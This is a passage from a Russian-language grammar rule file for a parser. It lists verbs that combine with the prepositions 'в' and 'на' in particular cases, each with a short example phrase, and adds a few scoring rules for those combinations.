rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе
rus_verbs:просохнуть{}, // просохнуть на батарее
rus_verbs:развозить{}, // развозить на велосипеде
rus_verbs:прикорнуть{}, // прикорнуть на диванчике
rus_verbs:отпечататься{}, // отпечататься на коже
rus_verbs:выявлять{}, // выявлять на таможне
rus_verbs:расставлять{}, // расставлять на башнях
rus_verbs:прокрутить{}, // прокрутить на пальце
rus_verbs:умываться{}, // умываться на улице
rus_verbs:пересказывать{}, // пересказывать на страницах романа
rus_verbs:удалять{}, // удалять на пуховике
rus_verbs:хозяйничать{}, // хозяйничать на складе
rus_verbs:оперировать{}, // оперировать на поле боя
rus_verbs:поносить{}, // поносить на голове
rus_verbs:замурлыкать{}, // замурлыкать на коленях
rus_verbs:передвигать{}, // передвигать на тележке
rus_verbs:прочертить{}, // прочертить на земле
rus_verbs:колдовать{}, // колдовать на кухне
rus_verbs:отвозить{}, // отвозить на казенном транспорте
rus_verbs:трахать{}, // трахать на природе
rus_verbs:мастерить{}, // мастерить на кухне
rus_verbs:ремонтировать{}, // ремонтировать на коленке
rus_verbs:развезти{}, // развезти на велосипеде
rus_verbs:робеть{}, // робеть на сцене
инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте
глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш },
деепричастие:реализовав{}, деепричастие:реализуя{},
rus_verbs:покаяться{}, // покаяться на смертном одре
rus_verbs:специализироваться{}, // специализироваться на тестировании
rus_verbs:попрыгать{}, // попрыгать на батуте
rus_verbs:переписывать{}, // переписывать на столе
rus_verbs:расписывать{}, // расписывать на доске
rus_verbs:зажимать{}, // зажимать на запястье
rus_verbs:практиковаться{}, // практиковаться на мышах
rus_verbs:уединиться{}, // уединиться на чердаке
rus_verbs:подохнуть{}, // подохнуть на чужбине
rus_verbs:приподниматься{}, // приподниматься на руках
rus_verbs:уродиться{}, // уродиться на полях
rus_verbs:продолжиться{}, // продолжиться на улице
rus_verbs:посапывать{}, // посапывать на диване
rus_verbs:ободрать{}, // ободрать на спине
rus_verbs:скрючиться{}, // скрючиться на песке
rus_verbs:тормознуть{}, // тормознуть на перекрестке
rus_verbs:лютовать{}, // лютовать на хуторе
rus_verbs:зарегистрировать{}, // зарегистрировать на сайте
rus_verbs:переждать{}, // переждать на вершине холма
rus_verbs:доминировать{}, // доминировать на территории
rus_verbs:публиковать{}, // публиковать на сайте
rus_verbs:морщить{}, // морщить на лбу
rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном
rus_verbs:подрабатывать{}, // подрабатывать на рынке
rus_verbs:репетировать{}, // репетировать на заднем дворе
rus_verbs:подвернуть{}, // подвернуть на брусчатке
rus_verbs:зашелестеть{}, // зашелестеть на ветру
rus_verbs:расчесывать{}, // расчесывать на спине
rus_verbs:одевать{}, // одевать на рынке
rus_verbs:испечь{}, // испечь на углях
rus_verbs:сбрить{}, // сбрить на затылке
rus_verbs:согреться{}, // согреться на печке
rus_verbs:замаячить{}, // замаячить на горизонте
rus_verbs:пересчитывать{}, // пересчитывать на пальцах
rus_verbs:галдеть{}, // галдеть на крыльце
rus_verbs:переплыть{}, // переплыть на плоту
rus_verbs:передохнуть{}, // передохнуть на скамейке
rus_verbs:прижиться{}, // прижиться на ферме
rus_verbs:переправляться{}, // переправляться на плотах
rus_verbs:накупить{}, // накупить на блошином рынке
rus_verbs:проторчать{}, // проторчать на виду
rus_verbs:мокнуть{}, // мокнуть на улице
